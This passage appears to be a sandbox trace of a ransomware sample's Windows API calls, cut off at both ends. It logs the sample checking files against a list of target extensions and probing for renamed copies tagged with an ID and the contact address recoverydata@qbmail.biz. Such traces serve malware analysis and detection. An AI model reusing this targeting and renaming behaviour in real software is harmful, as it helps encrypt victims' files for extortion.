67 [0085.154] lstrlenW (lpString=".jpg") returned 4 [0085.154] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString=".doc") returned 4 [0085.155] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".docx") returned 5 [0085.155] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0085.155] lstrlenW (lpString=".pdf") returned 4 [0085.155] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".xls") returned 4 [0085.155] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".xlsx") returned 5 [0085.155] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0085.155] lstrlenW (lpString=".ppt") returned 4 [0085.155] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString=".zip") returned 4 [0085.155] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".rar") returned 4 [0085.155] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".bz2") returned 4 [0085.155] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString=".7z") returned 3 [0085.155] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString=".dbf") returned 4 [0085.155] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString=".1cd") returned 4 [0085.155] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0085.155] lstrlenW (lpString=".jpg") returned 4 [0085.156] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.156] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.156] lstrlenW (lpString="base_kor.xml") returned 12 [0085.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.316] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=488) returned 1 [0085.316] CloseHandle (hObject=0x1b0) returned 1 [0085.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0085.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.317] lstrlenW (lpString=".doc") returned 4 [0085.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.317] lstrlenW (lpString=".docx") returned 5 [0085.317] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0085.317] lstrlenW (lpString=".pdf") returned 4 [0085.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.317] lstrlenW (lpString=".xls") returned 4 [0085.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.317] lstrlenW (lpString=".xlsx") returned 5 [0085.317] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0085.317] lstrlenW (lpString=".ppt") returned 4 [0085.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.318] lstrlenW (lpString=".zip") returned 4 [0085.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.318] lstrlenW (lpString=".rar") returned 4 [0085.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.318] lstrlenW (lpString=".bz2") returned 4 [0085.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.318] lstrlenW (lpString=".7z") returned 3 [0085.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.318] lstrlenW (lpString=".dbf") returned 4 [0085.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.318] lstrlenW (lpString=".1cd") returned 4 [0085.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.319] lstrlenW (lpString=".jpg") returned 4 [0085.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.319] lstrlenW (lpString=".doc") returned 4 [0085.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.319] lstrlenW (lpString=".docx") returned 5 [0085.319] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0085.319] lstrlenW (lpString=".pdf") returned 4 [0085.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.319] lstrlenW (lpString=".xls") returned 4 [0085.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.319] lstrlenW (lpString=".xlsx") returned 5 [0085.320] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0085.320] lstrlenW (lpString=".ppt") returned 4 [0085.320] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.320] lstrlenW (lpString=".zip") returned 4 [0085.320] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.320] lstrlenW (lpString=".rar") returned 4 [0085.320] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.320] lstrlenW (lpString=".bz2") returned 4 [0085.320] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.320] lstrlenW (lpString=".7z") returned 3 [0085.320] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.320] lstrlenW (lpString=".dbf") returned 4 [0085.320] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.320] lstrlenW (lpString=".1cd") returned 4 [0085.320] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0085.320] lstrlenW (lpString=".jpg") returned 4 [0085.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.321] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.321] lstrlenW (lpString="ja-jp.xml") returned 9 [0085.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.322] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=16616) returned 1 [0085.322] CloseHandle (hObject=0x1b0) returned 1 [0085.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0085.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.323] lstrlenW (lpString=".doc") returned 4 [0085.323] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.323] lstrlenW (lpString=".docx") returned 5 [0085.323] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0085.323] lstrlenW (lpString=".pdf") returned 4 [0085.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.323] lstrlenW (lpString=".xls") returned 4 [0085.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.324] lstrlenW (lpString=".xlsx") returned 5 [0085.324] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0085.324] lstrlenW (lpString=".ppt") returned 4 [0085.324] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.324] lstrlenW (lpString=".zip") returned 4 [0085.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.324] lstrlenW (lpString=".rar") returned 4 [0085.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.324] lstrlenW (lpString=".bz2") returned 4 [0085.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.324] lstrlenW (lpString=".7z") returned 3 [0085.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.324] lstrlenW (lpString=".dbf") returned 4 [0085.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.325] lstrlenW (lpString=".1cd") returned 4 [0085.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.325] lstrlenW (lpString=".jpg") returned 4 [0085.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.325] lstrlenW (lpString=".doc") returned 4 [0085.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.325] lstrlenW (lpString=".docx") returned 5 [0085.325] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0085.325] lstrlenW (lpString=".pdf") returned 4 [0085.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.326] lstrlenW (lpString=".xls") returned 4 [0085.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.326] lstrlenW (lpString=".xlsx") returned 5 [0085.326] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0085.326] lstrlenW (lpString=".ppt") returned 4 [0085.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.326] lstrlenW (lpString=".zip") returned 4 [0085.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.326] lstrlenW (lpString=".rar") returned 4 [0085.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.326] lstrlenW (lpString=".bz2") returned 4 [0085.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.327] lstrlenW (lpString=".7z") returned 3 [0085.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.327] lstrlenW (lpString=".dbf") returned 4 [0085.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.327] lstrlenW (lpString=".1cd") returned 4 [0085.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0085.327] lstrlenW (lpString=".jpg") returned 4 [0085.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.327] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.328] lstrlenW (lpString="ko-kr.xml") returned 9 [0085.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.328] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=15097) returned 1 [0085.328] CloseHandle (hObject=0x1b0) returned 1 [0085.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0085.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.328] lstrlenW (lpString=".doc") returned 4 [0085.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.328] lstrlenW (lpString=".docx") returned 5 [0085.329] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0085.329] lstrlenW (lpString=".pdf") returned 4 [0085.329] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString=".xls") returned 4 [0085.329] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString=".xlsx") returned 5 [0085.329] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0085.329] lstrlenW (lpString=".ppt") returned 4 [0085.329] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.329] lstrlenW (lpString=".zip") returned 4 [0085.329] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.329] lstrlenW (lpString=".rar") returned 4 [0085.329] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString=".bz2") returned 4 [0085.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString=".7z") returned 3 [0085.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.329] lstrlenW (lpString=".dbf") returned 4 [0085.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.329] lstrlenW (lpString=".1cd") returned 4 [0085.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.330] lstrlenW (lpString=".jpg") returned 4 [0085.330] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.330] lstrlenW (lpString=".doc") returned 4 [0085.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.330] lstrlenW (lpString=".docx") returned 5 [0085.330] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0085.330] lstrlenW (lpString=".pdf") returned 4 [0085.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.330] lstrlenW (lpString=".xls") returned 4 [0085.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.330] lstrlenW (lpString=".xlsx") returned 5 [0085.330] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0085.330] lstrlenW (lpString=".ppt") returned 4 [0085.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.330] lstrlenW (lpString=".zip") returned 4 [0085.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.330] lstrlenW (lpString=".rar") returned 4 [0085.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.331] lstrlenW (lpString=".bz2") returned 4 [0085.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.331] lstrlenW (lpString=".7z") returned 3 [0085.331] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.331] lstrlenW (lpString=".dbf") returned 4 [0085.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.331] lstrlenW (lpString=".1cd") returned 4 [0085.331] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0085.331] lstrlenW (lpString=".jpg") returned 4 [0085.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.332] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0085.332] lstrlenW (lpString="zh-changjei.xml") returned 15 [0085.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0085.337] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=9803) returned 1 [0085.337] CloseHandle (hObject=0x1b0) returned 1 [0085.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0085.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.337] lstrlenW (lpString=".doc") returned 4 [0085.337] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.337] lstrlenW (lpString=".docx") returned 5 [0085.337] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0085.337] lstrlenW (lpString=".pdf") returned 4 [0085.338] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString=".xls") returned 4 [0085.338] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString=".xlsx") returned 5 [0085.338] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0085.338] lstrlenW (lpString=".ppt") returned 4 [0085.338] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString=".zip") returned 4 [0085.338] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.338] lstrlenW (lpString=".rar") returned 4 [0085.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString=".bz2") returned 4 [0085.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString=".7z") returned 3 [0085.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString=".dbf") returned 4 [0085.338] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString=".1cd") returned 4 [0085.338] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString=".jpg") returned 4 [0085.338] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.338] lstrlenW (lpString=".doc") returned 4 [0085.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.339] lstrlenW (lpString=".docx") returned 5 [0085.339] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0085.339] lstrlenW (lpString=".pdf") returned 4 [0085.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.339] lstrlenW (lpString=".xls") returned 4 [0085.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.339] lstrlenW (lpString=".xlsx") returned 5 [0085.339] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0085.339] lstrlenW (lpString=".ppt") returned 4 [0085.708] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.708] lstrlenW (lpString=".zip") returned 4 [0085.708] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.708] lstrlenW (lpString=".rar") returned 4 [0085.708] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.708] lstrlenW (lpString=".bz2") returned 4 [0085.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.708] lstrlenW (lpString=".7z") returned 3 [0085.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.708] lstrlenW (lpString=".dbf") returned 4 [0085.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.708] lstrlenW (lpString="C:\\Program 